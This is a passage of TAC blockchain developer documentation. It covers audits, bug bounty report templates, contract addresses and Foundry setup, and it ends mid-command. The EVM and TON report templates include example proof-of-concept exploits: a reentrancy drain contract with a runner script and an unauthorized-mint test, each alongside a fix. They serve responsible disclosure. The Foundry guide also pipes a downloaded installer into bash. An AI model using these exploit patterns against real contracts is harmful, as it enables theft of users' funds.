# Overview Source: https://docs.tac.build/api/overview Alongside TypeScript SDK and Python SDK TAC's protocol public API is provided for transaction tracking, stage profiling, simulating EVM calls on the TAC blockchain, and other needs. ## API Schemas # Overview Source: https://docs.tac.build/apps/overview Explore existing reference implementations to accelerate your own dApp development The codebase of famous bluechip dApp. Try it as [Telegram Mini App](https://t.me/CurveAppBot) The codebase of perpetual trading dApp with gamified UI. Try it [here](https://hooked.tac.build/) Starter template code to jumpstart your local development Live hybrid dApps list, not an extensive one, more are popping up! # Overview Source: https://docs.tac.build/audit/overview The TAC ecosystem undergoes security assessments by industry-leading firms to ensure the safety of our infrastructure and user assets. ## Core Blockchain These audits cover the foundational TAC blockchain components and the Cosmos EVM integration. Halborn Halborn ## Bridges Bridge audits focus on the secure movement of assets between chains, specifically verifying the logic for USDT flow between TON, Ethereum, and TAC. Quantstamp Quantstamp ## TAC Proxies These reports evaluate the proxy architecture that allows dApps on TAC to be accessible from the TON blockchain. Quantstamp Quantstamp Quantstamp Quantstamp Quantstamp ## Smart Accounts This audit validates the Smart Account primitives, which enable the creation of programmable user wallets on the EVM side. Quantstamp # Bug Bounty Program Source: https://docs.tac.build/bug-bounty/overview We are ready to reward independent security researchers to review our systems and responsibly disclose vulnerabilities Send your findings directly to: **[info@tac.build](mailto:info@tac.build)** with CC at **[tech@tac.build](mailto:tech@tac.build)**. We accept vulnerability reports across the following guidelines: 1. [EVM Smart Contracts](/bug-bounty/templates/guide-evm-contracts) 2. [EVM Node](/bug-bounty/templates/guide-evm-node) 3. [TVM (TON) Smart Contracts](/bug-bounty/templates/guide-tvm-contracts) [Terms](https://tac.build/bug-bounty-program-policy-terms-and-conditions) apply. The TAC Foundation reserves the right of final interpretation for all bug bounty submissions and reward distributions. *To protect our users, please encrypt your report if it contains sensitive data and refrain from disclosing the vulnerability publicly until it has been resolved.* # EVM Smart Contacts Source: https://docs.tac.build/bug-bounty/templates/guide-evm-contracts ## Bug Bounty Report Guide The report template below covers vulnerabilities in TAC-related Solidity contracts deployed on EVM-compatible chains (TAC, Ethereum, etc.). Some of them are available [here](/ecosystem/network-info). Tools: Hardhat / Foundry / Tenderly. ## Report Template ``` SECURITY VULNERABILITY REPORT in Date: YYYY-MM-DD Status: =============================== EXECUTIVE SUMMARY =============================== =============================== VULNERABILITY DETAILS =============================== Contract: , , lines Deployed:
SWC / class: Root cause: Vulnerable snippet: Fixed version: Prerequisites: =============================== EXPLOITATION STEPS =============================== 1. 2. ... =============================== POC RESULTS =============================== Attack contract: Exploit TX: Block: Balance table:
before → after delta Scaling: =============================== IMPACT ASSESSMENT =============================== Severity: 1. 2. =============================== RECOMMENDED FIX =============================== Immediate: Long-term: Audit: =============================== PROOF-OF-CONCEPT CODE =============================== =============================== DISCLOSURE TIMELINE =============================== YYYY-MM-DD YYYY-MM-DD ``` ## Report Template Commentary ### 1. Title and Metadata ``` SECURITY VULNERABILITY REPORT in Date: YYYY-MM-DD Status: ``` Useful tags to name in the title: `Reentrancy`, `Access Control`, `Price Manipulation`, `Unchecked Return Value`, `Signature Replay`, `Upgradeable Storage Collision`, `Integer Overflow`. ### 2. Executive Summary Same four questions as always: 1. **What is broken?** — one sentence naming the vulnerable function. 2. **What does the attacker gain?** — drained funds / minted tokens / ownership takeover. 3. **How much?** — TVL at risk or maximum extractable value (MEV). 4. **Is it repeatable?** — per-block / per-tx / once. **Example:** ``` The withdraw() function in Vault.sol does not follow Checks-Effects-Interactions. An attacker with 1 TAC can drain the entire contract balance (~420 TAC) in a single transaction via reentrancy. The attack requires no special roles. ``` ### 3. Vulnerability Details #### 3.1 Affected Contract ``` Contract: contracts/Vault.sol Function: withdraw(uint256 amount) — lines 87–104 Deployed: 0x
(mainnet / testnet) ``` Provide a source-verified link on TAC Explorer / Etherscan / Blockscout if available. #### 3.2 Root Cause Name the **SWC / Solidity category** and give the one-line explanation: > **SWC-107 (Reentrancy):** `balances[msg.sender]` is decremented **after** > the external `.call{value: amount}("")`, allowing the callee to re-enter > `withdraw()` before the balance is zeroed. #### 3.3 Vulnerable Code Snippet ```solidity theme={null} // Vault.sol:87 — VULNERABLE function withdraw(uint256 amount) external { require(balances[msg.sender] >= amount); (bool ok,) = msg.sender.call{value: amount}(""); // <-- re-entry point require(ok); balances[msg.sender] -= amount; // <-- too late } ``` #### 3.4 Fixed Version (for comparison) ```solidity theme={null} // CEI-correct version function withdraw(uint256 amount) external { require(balances[msg.sender] >= amount); balances[msg.sender] -= amount; // effect first (bool ok,) = msg.sender.call{value: amount}(""); require(ok); } ``` #### 3.5 Prerequisites ``` - Attacker must have a non-zero deposit in the Vault (min 1 wei). - No time-lock or withdrawal limit on the contract. ``` ### 4. Exploitation Steps ``` 1. Deploy AttackVault with address of Vault. 2. Call AttackVault.fund{value: 1 ether}() — seeds attacker deposit. 3. Call AttackVault.attack() — triggers withdraw(), re-enters 420 times, drains all TAC from Vault. 4. Call AttackVault.collect() — sends drained TAC to attacker EOA. ``` ### 5. PoC Results Required: * Attack contract address. * TX hash of the exploit. * Block number. * Balance before/after for the Vault and the attacker. **Example table:** ``` ADDRESS BALANCE BEFORE BALANCE AFTER DELTA ------- -------------- ------------- ----- Vault 420.000 TAC 0.000 TAC -420 TAC AttackVault 1.000 TAC 421.000 TAC +420 TAC Attacker EOA 0.000 TAC 421.000 TAC +420 TAC (after collect) ``` **Exploit TX:** `0x`\ **Block:** ``\ **Gas used:** `` (\~\$XX at current prices) #### 5.1 Scaling Economics ``` Seed deposit Vault TVL drained Gas cost Net profit ----------- ----------------- -------- ---------- 1 wei any ~0.01 TAC TVL − 0.01 TAC ``` The exploit is TVL-agnostic: any non-zero deposit drains the full balance. ### 6. Impact Assessment ``` Severity: CRITICAL 1. Full TVL drainage — all depositor funds at risk. 2. No special roles required — any depositor can exploit. 3. Single transaction — no setup window for defenders. 4. Irreversible — no admin pause function exists. ``` Mention if the contract is **upgradeable** (proxy pattern) — this affects whether a hotfix can be deployed without migrating funds. ### 7. Recommended Fix #### Immediate ``` Apply Checks-Effects-Interactions: move all state updates (balances[msg.sender] -= amount) BEFORE the external call. Alternatively, add a ReentrancyGuard (OpenZeppelin) nonReentrant modifier. ``` #### Long-term ``` Adopt OpenZeppelin ReentrancyGuardTransient (EIP-1153) for lower gas cost. Add Slither / Aderyn to CI to catch CEI violations at PR time. ``` Adjacent Audit ``` Audit all other functions that perform external calls followed by state updates: borrow(), liquidate(), flashLoan() — same pattern may exist. ``` ### 8. Proof-of-Concept Code ```solidity theme={null} // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; interface IVault { function deposit() external payable; function withdraw(uint256) external; } contract AttackVault { IVault public vault; address public owner; uint256 public constant AMOUNT = 1 ether; constructor(address _vault) { vault = IVault(_vault); owner = msg.sender; } function fund() external payable { vault.deposit{value: msg.value}(); } function attack() external { vault.withdraw(AMOUNT); } receive() external payable { if (address(vault).balance >= AMOUNT) { vault.withdraw(AMOUNT); } } function collect() external { payable(owner).transfer(address(this).balance); } } ``` Hardhat runner (abbreviated): ```typescript theme={null} const vault = await ethers.deployContract("Vault", { value: parseEther("420") }); const atk = await ethers.deployContract("AttackVault", [vault.target]); await atk.fund({ value: parseEther("1") }); await atk.attack(); console.log("Vault balance:", await ethers.provider.getBalance(vault.target)); // expected: 0 ``` # EVM Node Source: https://docs.tac.build/bug-bounty/templates/guide-evm-node # Bug Bounty Report Guide The report template below covers vulnerabilities in EVM-compatible [Cosmos TAC chain node](https://github.com/TacBuild/evm): precompiles, EVM↔Cosmos state synchronisation, bank/staking/distribution module bugs. Tools: Hardhat (EVM side), Cosmos REST API, Go node source. ## Report Template ``` SECURITY VULNERABILITY REPORT in Date: YYYY-MM-DD Status: =============================== EXECUTIVE SUMMARY =============================== <5–10 lines: what is broken, what the attacker gains, specific numbers> =============================== VULNERABILITY DETAILS =============================== Affected component: :, Root cause: How it works: Technical prerequisite: Comparison with correct code: =============================== EXPLOITATION STEPS =============================== =============================== PROOF-OF-CONCEPT RESULTS =============================== Test: () Contract: Exploit TX: Block: Status: CONFIRMED Scaling economics: =============================== IMPACT ASSESSMENT =============================== Severity: 1. 2. ... =============================== RECOMMENDED FIX =============================== Immediate: Long-term: Audit: =============================== PROOF-OF-CONCEPT CODE =============================== =============================== DISCLOSURE TIMELINE =============================== YYYY-MM-DD YYYY-MM-DD ``` ## Report Template Commentary ## 1. Title and Metadata ``` SECURITY VULNERABILITY REPORT in Date: YYYY-MM-DD Status: ``` * One line: **network + vulnerability class + affected component**. * `Status` must state the confirmation level: `THEORETICAL` / `LOCAL REPRODUCED` / `TESTNET CONFIRMED` / `MAINNET CONFIRMED`. Useful classes: `Balance Desync`, `State Collision`, `Precompile Missing Invariant`, `Bank Module Bypass`, `IBC Replay`, `Consensus Equivocation`. ### 2. Executive Summary Triage reads this in 30 seconds. Must answer four questions: 1. **What is broken?** — one sentence on the root cause. 2. **What does the attacker gain?** — tokens / control / data. 3. **How much?** — specific numbers. 4. **Is it repeatable?** — yes/no. **Example:** ``` An attacker who starts with X native tokens ends up with X + profit after a single exploit cycle. The profit scales linearly with the amount invested. Gas cost is fixed regardless of exploit scale. Invested: 10 Phantom balance: 5 (should be 0 after staking) Derivative received: 9.72 Net profit: +2.01 equivalent The attack is repeatable and can be looped for unlimited profit. ``` ### 3. Vulnerability Details #### 3.1 Affected Component State the **exact** location in the node source: ``` Affected component: precompiles//tx.go — function (lines X–Y) ``` Permalink to a specific commit if the repo is public: ``` https://github.com///blob//precompiles//tx.go#LX-LY ``` #### 3.2 Root Cause One or two sentences — **at the line-of-code level**, not "somewhere in the module": > `` has zero calls to `()`. > Every adjacent precompile that performs the same operation includes this call — > `` was missed. #### 3.3 How It Works 1. **Context:** how the EVM↔Cosmos state bridge normally works. 2. **What the vulnerable code does:** step by step. 3. **Where the logic breaks:** the specific missing call / condition. 4. **Observable effect:** what state inconsistency is produced. #### 3.4 Technical Prerequisite Any conditions required for exploitation (directly affects severity): ``` Example: the exploit contract must perform at least one storage write (SSTORE) before calling the vulnerable precompile, so the EVM stateObject is marked "dirty" in the StateDB journal and the deduction is overwritten at commit. ``` #### 3.5 Comparison with Correct Code If an **adjacent function is implemented correctly** — always show the diff. This is the strongest evidence that it's a missed piece, not an architectural flaw: ```go theme={null} // (correct): if { p.SetBalanceChangeEntries( cmn.NewBalanceChangeEntry(callerAddr, amount, cmn.Sub), ) } // — this block is missing entirely. ``` ### 4. Exploitation Steps One transaction = one step. Include **specific arguments** and **before/after state**. ``` TX N — (): Calls: PRECOMPILE.( arg1, // description arg2, // description ) Expected (correct): balance decreases by X. Actual (buggy): balance unchanged — phantom balance created. ``` ### 5. PoC Results The most valuable part for triage: **real on-chain data**. Required: * Deployment address of the PoC contract. * TX hashes for every step. * Block numbers. * Money-flow table. * Final profit calculation. **Example table:** ``` STEP CONTRACT BALANCE WALLET CHANGE NOTES ---- ---------------- ------------- ----- Start 0 wallet: NNN Fund contract X -X step1_setup() X/2 -gas X/2 locked step2_exploit() X/2 (PHANTOM) -gas BUG: should be 0 step3_withdraw() 0 +X/2 phantom funds to wallet step4_profit() 0 +Y derivative to wallet ``` #### 5.1 Scaling Economics ``` Fund amount Phantom balance Derivative received Gas cost Net profit ----------- --------------- ------------------- -------- ---------- 10 5 ~9.7 ~C +P1 100 50 ~97 ~C +P2 1K 500 ~970 ~C +P3 ``` ### 6. Impact Assessment ``` Severity: CRITICAL 1. Unlimited native token inflation — balance deduction is silently skipped. 2. Direct profit extraction — no social engineering required. 3. Repeatable and linearly scalable — gas is the only cost. 4. Minimal prerequisites — . 5. Core module accounting corrupted — staking + bank state diverge. ``` CVSS v3.1 vector if the program requires it. Factors that raise severity: native token inflation, no privilege requirements, breakage of core modules (bank, staking, IBC). ### 7. Recommended Fix #### Immediate Minimal change — a specific diff or pseudo-diff in Go: ```go theme={null} // Add after the Cosmos-side operation call: if err := stateDB.SetBalanceChangeEntries( cmn.NewBalanceChangeEntry(callerAddr, amount, cmn.Sub), ); err != nil { return nil, err } ``` #### Long-term Architectural fix so the class cannot recur: ``` Adopt the upstream automatic BalanceHandler pattern (cosmos/evm ≥ v0.3.2). It detects balance changes from Cosmos SDK events automatically, eliminating the "forgotten SetBalanceChangeEntries" class entirely. ``` #### Adjacent Audit ``` Audit ALL precompile functions that move native tokens for the same missing call. Pay special attention to: . ``` ### 8. Proof-of-Concept Code Attach the **fully working** PoC. Requirements: * **Minimal** — no extra helpers or logging. * **Self-contained** — compiles without external dependencies beyond hardhat / forge / cosmjs. * **Commented** — explain non-obvious preconditions (e.g. why a storage write before the precompile call is necessary to trigger the bug). # TVM (TON) Smart Contacts Source: https://docs.tac.build/bug-bounty/templates/guide-tvm-contracts # Bug Bounty Report Guide The report template below covers vulnerabilities in TAC-related FunC / Tact contracts deployed on TON. Tools: Blueprint, toncli, tonutils-go, @ton/ton (JS SDK). ## Report Template ``` SECURITY VULNERABILITY REPORT in Date: YYYY-MM-DD Status: =============================== EXECUTIVE SUMMARY =============================== =============================== VULNERABILITY DETAILS =============================== Contract: , , line Deployed: EQ
Class: Root cause: Vulnerable snippet: Fixed version: TON-specific notes: Prerequisites: =============================== EXPLOITATION STEPS =============================== Message body: op: payload: 1. 2. ... Blueprint test / script: =============================== POC RESULTS =============================== Contract: EQ
Exploit TX: Balance table:
before → after delta Scaling: =============================== IMPACT ASSESSMENT =============================== Severity: 1. 2. =============================== RECOMMENDED FIX =============================== Immediate: Long-term: Audit: =============================== PROOF-OF-CONCEPT CODE =============================== =============================== DISCLOSURE TIMELINE =============================== YYYY-MM-DD YYYY-MM-DD ``` ## Report Template Commentary ### 1. Title and Metadata ``` SECURITY VULNERABILITY REPORT in Date: YYYY-MM-DD Status: ``` Useful classes: `Unprotected Internal Message`, `Bounce Exploit`, `Storage Drain`, `Replay Attack (no op-guard)`, `Incorrect Fees / Forward Gas`, `Cell Overflow`, `Tact Inheritance Access Control`. ### 2. Executive Summary Same four questions: 1. **What is broken?** — which op-code handler / recv\_internal branch. 2. **What does the attacker gain?** — TON drained / token minted / ownership. 3. **How much?** — contract balance or jetton supply at risk. 4. **Is it repeatable?** — per-message / once / needs timing. **Example:** ``` The jetton minter's recv_internal handler does not verify the sender against the admin address before processing op::mint. Any wallet can send a mint message and create arbitrary tokens, inflating the supply without limit. Contract balance at risk: 0 TON (no drain) Token supply at risk: unlimited inflation Attack cost: ~0.05 TON (gas) ``` ### 3. Vulnerability Details #### 3.1 Affected Contract ``` Contract: contracts/JettonMinter.fc (or .tact) Handler: recv_internal — op::mint branch (line ~47) Deployed: EQ
(mainnet / testnet) ``` Provide a Tonviewer / Tonscan link if the contract is verified. #### 3.2 Root Cause > The `op::mint` branch reads `sender_address` from the message slice but > never calls `throw_unless(73, equal_slices(sender_address, storage::admin))` > before executing the mint logic. #### 3.3 Vulnerable Code Snippet ```func theme={null} ;; JettonMinter.fc ~line 47 — VULNERABLE if (op == op::mint) { ;; ← missing: throw_unless(73, equal_slices(sender, admin)); slice to_address = in_msg_body~load_msg_addr(); int amount = in_msg_body~load_coins(); mint_tokens(to_address, amount); ... } ``` #### 3.4 Fixed Version ```func theme={null} if (op == op::mint) { throw_unless(73, equal_slices(sender, admin)); ;; ← added slice to_address = in_msg_body~load_msg_addr(); int amount = in_msg_body~load_coins(); mint_tokens(to_address, amount); ... } ``` #### 3.5 TON-specific Considerations * **Bounce messages:** does the contract handle `op::excesses` / bounced messages safely? A missing bounce handler can leave funds locked. * **Forward gas:** does the contract forward enough gas for sub-messages? Under-forwarding silently fails without reverting the parent tx. * **Storage fees:** contracts with no incoming messages will be frozen and then deleted. Does the attacker benefit from this? * **Replay:** TON has no global nonce — contracts must implement their own seqno or use the `valid_until` trick. ### 4. Exploitation Steps For each step, include the message body layout (op + payload): ``` 1. Build a mint message: op: 0x642b7d07 (op::mint) to_address: attacker_wallet amount: 1_000_000_000_000 (1 000 000 jettons, 6 decimals) 2. Send from any wallet with 0.1 TON attached (covers gas + forward). 3. Check attacker's jetton wallet balance — should increase by 1 000 000. 4. Repeat for unlimited supply inflation. ``` Blueprint test skeleton: ```typescript theme={null} it("mints without admin auth", async () => { const attacker = await blockchain.treasury("attacker"); await minter.sendMint(attacker.getSender(), { toAddress: attacker.address, amount: toNano("1000000"), value: toNano("0.1"), }); const balance = await getJettonBalance(attacker.address); expect(balance).toEqual(toNano("1000000")); // should FAIL if patched }); ``` ### 5. PoC Results Required: * Contract address (`EQ...`). * Transaction hash (lt + hash, or Tonviewer link). * Message trace (Tonviewer shows the full message tree). * Jetton balance / TON balance before and after. **Example:** ``` CONTRACT BALANCE BEFORE BALANCE AFTER DELTA -------- -------------- ------------- ----- JettonMinter 100 000 supply 1 100 000 +1 000 000 minted Attacker jetton wlt 0 1 000 000 +1 000 000 Exploit TX: https://tonviewer.com/transaction/ Gas spent: 0.048 TON ``` #### 5.1 Scaling Economics ``` Calls Amount per call Total minted Gas cost ----- --------------- ------------ -------- 1 1 000 000 1 000 000 0.05 TON 100 1 000 000 100 000 000 5.0 TON ``` ### 6. Impact Assessment ``` Severity: CRITICAL 1. Unlimited token inflation — total supply can be minted to any address. 2. No admin role required — any wallet can exploit. 3. Per-message — repeatable indefinitely. 4. DEX liquidity pools backed by this jetton become worthless. ``` TON-specific severity boosters: * contract holds significant TON balance (storage drain possible), * contract is a bridge or DEX vault, * no upgrade / pause mechanism exists. ### 7. Recommended Fix #### Immediate ``` Add sender verification as the first statement in the op::mint branch: throw_unless(73, equal_slices(sender, storage::admin)); ``` #### Long-term ``` Use Tact's @internal access modifier or a dedicated access-control library. Add Blueprint unit tests that assert every privileged op reverts for non-admin. ``` #### Adjacent Audit ``` Review all other privileged ops in recv_internal: op::change_admin, op::burn_notification, op::set_content. Verify bounce handler is implemented for all outgoing messages carrying value. ``` ### 8. Proof-of-Concept Code Provide a **Blueprint** test or a minimal **@ton/ton** script: ```typescript theme={null} // test/JettonMinterExploit.spec.ts import { Blockchain, SandboxContract } from "@ton/sandbox"; import { JettonMinter } from "../wrappers/JettonMinter"; import { toNano } from "@ton/ton"; describe("Exploit: unrestricted mint", () => { let blockchain: Blockchain; let minter: SandboxContract; beforeEach(async () => { blockchain = await Blockchain.create(); // deploy with 1 TON initial balance minter = ...; // standard deploy }); it("mints 1M tokens without admin", async () => { const attacker = await blockchain.treasury("attacker"); const result = await minter.sendMint(attacker.getSender(), { toAddress: attacker.address, amount: toNano("1000000"), value: toNano("0.1"), }); expect(result.transactions).toHaveTransaction({ success: true }); // if this passes — the bug is confirmed }); }); ``` # Bridge Source: https://docs.tac.build/ecosystem/bridge Bridge assets between TON and TAC EVM using the official TAC bridge interface The TAC bridge allows you to transfer assets between TON and TAC EVM networks. Connect both your EVM and TON wallets to bridge tokens and test cross-chain functionality. ## Available Bridges Bridge assets between TON and TAC mainnet with live tokens and real value transfers. Bridge testnet assets between TON testnet and SPB testnet for development and testing. ## How to Use First, get tokens from the [Faucet](/ecosystem/faucet). Connecting either of 2 wallets below is sufficient to complete the bridge on both directions **Step 1:** Connect your EVM Wallet (MetaMask, Rabby, etc.) **Step 2:** Confirm adding [TAC Network](/ecosystem/network-info) **Step 3:** Choose the asset you want to bridge **Step 4:** Click the button and confirm action in your connected wallet **Step 1:** Check if Testnet is selected in your TON Wallet (Wallet, Tonkeeper, etc.) **Step 2:** Connect Wallet **Step 3:** Choose the asset you want to bridge **Step 4:** Click the button and confirm action in your connected wallet ### Wrapping You can also wrap and unwrap `TAC`\<->`WTAC` through this app. ## Asset Support * TON native tokens: `TON` itself, fungible tokens (`Jetton` standard) * TAC native tokens: `TAC` itself, fungible tokens (`ERC20` standard) Bridging the `WTAC` ERC-20 token to TON will first unwrap it. As a result, `WTAC` and `TAC` represent the same asset on TON. # Core Contracts Source: https://docs.tac.build/ecosystem/contract-addresses The page lists the core TAC Protocol's contract addresses used in TON and TAC blockchains while interacting with TON Adapter ## TON Adapter addresses | Contract Name | Address | | --------------------- | -------------------------------------------------- | | **Cross Chain Layer** | `EQAgpWmO8nBUrmfOOldIEmRkLEwV-IIfVAlJsphYswnuL80R` | | **Settings** | `EQBpUijPLYC9dcmw8Y-d23E9iX-2HBCupc5oqoYgXnORSRmi` | | **Jetton Proxy** | `EQAChAswsPNsU2k3A5ZDO_cfhWknCGS6WMG2Jz15USMwxMdw` | | **NFT Proxy** | `EQDDqOCQr6EPBmJnFF-dDKuNFLctG-SEYFhz66m17uisfLXh` | | Contract Name | Address | | --------------------- | -------------------------------------------------- | | **Cross Chain Layer** | `EQAVGclLM4b0fb4pYRbS-OUUJiXlaTk8C0D1IueAzx6XgGo0` | | **Settings** | `EQAf49rSyJGxh_OjoWJYwzpZCvVQdlYVNVy-DN3awXg8l5ZJ` | | **Jetton Proxy** | `EQAgBa6tNOqswtuRggf47BIO809mxHUgkkk5EYmfISDMJ_Zw` | | **NFT Proxy** | `EQAATNVhlCNQLj9a-BFoGQAt5qCJI827frKFjcbGVHyrEUBM` | ## TAC Adapter addresses | Contract Name | Address | | --------------------------- | -------------------------------------------- | | **Cross Chain Layer** | `0x9fee01e948353E0897968A3ea955815aaA49f58d` | | **Settings** | `0x1278fc68146643D7a05baAb1531618613999828D` | | **Consensus** | `0xAe635dE674cFE4aFD179CDE441aBBE6504A20A98` | | **Merkle Tree Utils** | `0xE11F57B7C650f9FeAcFCb414ab65F5A19bdFCc44` | | **Token Utils** | `0x6BE421FEf556c41170Cd3F652ee469837409AAF5` | | **Smart Account Factory** | `0x070820Ed658860f77138d71f74EfbE173775895b` | | **Smart Account Blueprint** | `0xEc94C850F17ab72A31CEa784dFD3ffc8789A9bE4` | | **Multicall** | `0xcA11bde05977b3631167028862bE2a173976CA11` | | **WTAC** | `0xB63B9f0eb4A6E6f191529D71d4D88cc8900Df2C9` | | Contract Name | Address | | --------------------------- | -------------------------------------------- | | **Cross Chain Layer** | `0x4f3b05a601B7103CF8Fc0aBB56d042e04f222ceE` | | **Settings** | `0xF52a9A4C747Ce4BED079E54eB074d1C8879021D1` | | **Consensus** | `0x2BF0030eD6635BCc01aba0D991e1b087877e1cA5` | | **Merkle Tree Utils** | `0x7c8CDB0Fd5AFD238d8e3782bc3c548859b19BAAb` | | **Token Utils** | `0xB9856463dE80753b0717E3d62DA6236c408734Df` | | **Smart Account Factory** | `0x5919D1D0D1b36F08018d7C9650BF914AEbC6BAd6` | | **Smart Account Blueprint** | `0xeAB80f5369689a2D142f25E654d9822A7725028B` | | **Multicall** | `0xcA11bde05977b3631167028862bE2a173976CA11` | | **WTAC** | `0xCf61405b7525F09f4E7501fc831fE7cbCc823d4c` | # Blockscout Source: https://docs.tac.build/ecosystem/data-indexers/blockscout Blockscout API and Pro API provide blockchain data access for 100+ chains including TAC. Pro option offers higher rate limits, custom endpoints, improved performance, and multi-chain support. # Dune Source: https://docs.tac.build/ecosystem/data-indexers/dune Dune is a leading, community-driven blockchain analytics platform that allows users to query, visualize, and analyze on-chain data from over 100+ networks including TAC. # Goldsky Source: https://docs.tac.build/ecosystem/data-indexers/goldsky Seamlessly access the blockchain data you need with lightning-fast indexing by Goldsky, resilient subgraphs tailored for TAC, and flexible data streaming pipelines. ## Goldsky Products Explore data products like **Subgraphs** and **Edge** for TAC: ## Getting Started For detailed instructions check out the [Goldsky Documentation](https://docs.goldsky.com/chains/tac/?utm_source=tac\&utm_medium=docs). # Foundry Source: https://docs.tac.build/ecosystem/development-tools/foundry TAC EVM Layer provides full compatibility with Foundry, the blazing fast development toolkit for Ethereum. Official documentation ## Installation & Setup Foundry works seamlessly with TAC - no special configuration required beyond standard network setup. Install Foundry using the official installer: ```bash theme={null} # Install foundryup curl -L https://foundry.paradigm.xyz | bash # Install the latest version foundryup ``` Verify installation: ```bash theme={null} forge --version cast --version anvil --version ``` Create a new Foundry project or initialize in existing directory: ```bash theme={null} # Create new project forge init my-tac-project cd my-tac-project # Or initialize in existing directory forge init --force ``` This creates the standard Foundry structure: ``` ├── foundry.toml ├── src/ ├── test/ ├── script/ └── lib/ ``` Update `foundry.toml` to include TAC networks: ```toml theme={null} [profile.default] src = "src" out = "out" libs = ["lib"] solc_version = "0.8.19" optimizer = true optimizer_runs = 200 via_ir = true [rpc_endpoints] # TAC Saint Petersburg Testnet tac_testnet = "https://spb.rpc.tac.build" tac_mainnet = "https://rpc.tac.build" ``` Never commit your private key to version control. Add `.env` to your `.gitignore` file. Create a `.env` file for your private key: ```bash theme={null} # .env PRIVATE_KEY=your_private_key_here # Optional: RPC URLs as environment variables TAC_TESTNET_RPC=https://spb.rpc.tac.build TAC_MAINNET_RPC=https://rpc.tac.build ``` ## Contract Development Foundry excels at rapid iteration and testing. Develop contracts using familiar Solidity patterns with enhanced testing capabilities. ### Basic Contract Example ```solidity theme={null} // src/SimpleStorage.sol pragma solidity ^0.8.19; contract SimpleStorage { uint256 private storedData; event DataStored(uint256 indexed value, address indexed sender); constructor(uint256 _initialValue) { storedData = _initialValue; } function set(uint256 _value) external { storedData = _value; emit DataStored(_value, msg.sender); } function get() external view returns (uint256) { return storedData; } } ``` ## Build & Compilation ```bash theme={null} # Build contracts forge build # Build with specific Solidity version forge build --use 0.8.19 # Build with size optimization forge build --sizes # Generate ABI files forge build --extra-output abi ``` ## Testing & Debugging Foundry's Solidity-based testing provides unmatched speed and power for smart contract testing. ```solidity theme={null} // test/SimpleStorage.t.sol pragma solidity ^0.8.19; import "forge-std/Test.sol"; import "../src/SimpleStorage.sol"; contract SimpleStorageTest is Test { SimpleStorage public simpleStorage; event DataStored(uint256 indexed value, address indexed sender); function setUp() public { simpleStorage = new SimpleStorage(42); } function testInitialValue() public { assertEq(simpleStorage.get(), 42); } function testSetValue() public { simpleStorage.set(100); assertEq(simpleStorage.get(), 100); } function testSetValueEmitsEvent() public { vm.expectEmit(true, true, false, true); emit DataStored(200, address(this)); simpleStorage.set(200); } function testFuzzSetValue(uint256 _value) public { simpleStorage.set(_value); assertEq(simpleStorage.get(), _value); } function testMultipleUsers() public { address user1 = makeAddr("user1"); address user2 = makeAddr("user2"); vm.prank(user1); simpleStorage.set(100); vm.prank(user2); simpleStorage.set(200); assertEq(simpleStorage.get(), 200); } } ``` Foundry's fuzzing capabilities are excellent for testing edge cases in cross-chain scenarios. ### Run Tests ```bash theme={null} # Run all tests forge test # Run tests with verbosity forge test -vvv # Run specific test forge test --match-test testSetValue # Run tests for specific contract forge test --match-contract SimpleStorageTest # Run with gas reporting forge test --gas-report ``` ```bash theme={null} # Test against TAC testnet fork forge test --fork-url https://spb.rpc.tac.build # Test at specific block forge test --fork-url https://spb.rpc.tac.build --fork-block-number 1000000 # Test with environment variable forge test --fork-url $TAC_TESTNET_RPC ``` ```bash theme={null} # Generate coverage report forge coverage # Coverage with specific format forge coverage --report lcov # Coverage for specific test forge coverage --match-test testSetValue ``` ```bash theme={null} # Gas report for all tests forge test --gas-report # Gas snapshot (track gas changes) forge snapshot # Compare gas usage forge snapshot --diff ``` ```bash theme={null} # Debug specific test forge test --debug testSetValue # Debug with maximum verbosity forge test -vvvv --match-test testSetValue # Trace contract calls forge test --trace --match-test testSetValue ``` ## Deployment Deploy contracts efficiently using Foundry's built-in deployment scripts and tools. ```solidity theme={null} // script/Deploy.s.sol pragma solidity ^0.8.19; import "forge-std/Script.sol"; import "../src/SimpleStorage.sol"; contract DeployScript is Script { function run() external { uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY"); vm.startBroadcast(deployerPrivateKey); // Deploy SimpleStorage SimpleStorage simpleStorage = new SimpleStorage(42); console.log("SimpleStorage deployed to:", address(simpleStorage)); vm.stopBroadcast(); // Log deployment info console.log("Deployment completed on network:", block.chainid); console.log("Deployer address:", vm.addr(deployerPrivateKey)); console.log("Block number:", block.number); } } ``` ### Deploy Commands Ensure you have sufficient TAC tokens for gas fees before deploying to mainnet. ```bash theme={null} # Deploy to TAC Saint Petersburg testnet forge script script/Deploy.s.sol:DeployScript \ --rpc-url tac_testnet \ --broadcast \ --verify ``` ```bash theme={null} # Deploy to TAC mainnet forge script script/Deploy.s.sol:DeployScript \ --rpc-url tac_mainnet \ --broadcast \ --verify ``` ### Cast Commands for TAC ```bash theme={null} # Get block information cast block-number --rpc-url https://spb.rpc.tac.build # Get account balance cast balance 0x742d35Cc6473... --rpc-url https://spb.rpc.tac.build # Call contract function cast call CONTRACT_ADDRESS "get()" --rpc-url https://spb.rpc.tac.build # Send transaction cast send CONTRACT_ADDRESS "set(uint256)" 100 \ --private-key $PRIVATE_KEY \ --rpc-url https://spb.rpc.tac.build # Estimate gas cast estimate CONTRACT_ADDRESS "set(uint256)" 100 \ --rpc-url https://spb.rpc.tac.build ``` ## Common Issues & Solutions **Problem**: Compilation errors or dependency issues **Solutions**: * Update Foundry: `foundryup` * Rebuild artifacts: ```bash theme={null} # Reset and rebuild forge clean forge build --force ``` * Reinstall dependencies: `forge install --no-commit` * Check Solidity version compatibility **Problem**: Network timeouts or connection failures **Solutions**: * Verify RPC URLs in `foundry.toml` * Use environment variables for RPC endpoints ```toml theme={null} [rpc_endpoints] tac_testnet = "${TAC_TESTNET_RPC}" ``` * Increase timeout settings # Hardhat Source: https://docs.tac.build/ecosystem/development-tools/hardhat Deploy, test, and verify Solidity contracts on TAC using Hardhat - the complete development environment Official documentation TAC EVM Layer provides full compatibility with Hardhat, Ethereum's most popular development framework. Deploy your existing Solidity contracts without modification, test, and verify contracts on the [Block Explorer](/explorer/overview). ## Installation & Setup Setting up Hardhat for TAC development requires no special configuration - it works exactly like any other EVM chain. Refer to our example app [create-tac-app](/quickstart/overview) to see the relevant hardhat deployment approach. ## Deployment Below you can find the deployment commands used within [create-tac-app](/quickstart/overview) Ensure you have sufficient TAC tokens for gas fees before deploying to mainnet. ```bash theme={null} # Deploy to TAC 